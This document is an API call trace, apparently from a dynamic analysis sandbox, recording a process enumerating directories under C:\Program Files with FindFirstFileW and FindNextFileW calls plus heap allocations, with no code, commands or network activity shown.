	[0158.626] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 0
	[0158.626] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0158.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0158.627] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0
	[0158.627] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0158.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0158.627] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0158.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0158.627] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar") returned 32
	[0158.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0158.627] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.627] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0158.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0158.627] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets") returned 40
	[0158.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0158.627] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.628] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0158.628] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0158.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0158.628] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1
	[0158.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0158.628] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned 47
	[0158.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0158.628] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.628] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0158.628] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0158.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0158.628] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0158.628] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0158.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0158.629] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0158.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0158.630] lstrlenW (lpString="C:\\Program Files\\WindowsApps") returned 28
	[0158.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="\x88c0\x54\x0b")) returned 0xffffffff
	[0158.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0158.631] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0158.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0158.631] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell") returned 34
	[0158.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0158.631] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.631] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0158.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0158.631] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration") returned 48
	[0158.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0158.631] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.631] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1
	[0158.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0158.632] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration") returned 61
	[0158.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0158.632] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.632] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0158.632] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0158.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0158.632] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1
	[0158.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0158.632] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema") returned 55
	[0158.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0158.633] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.633] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0158.633] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0158.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0158.633] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0
	[0158.633] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0158.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0158.633] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0158.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0158.633] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules") returned 42
	[0158.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0158.633] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.633] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1
	[0158.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0158.634] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 84
	[0158.634] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0158.634] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.634] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0158.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0158.635] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 90
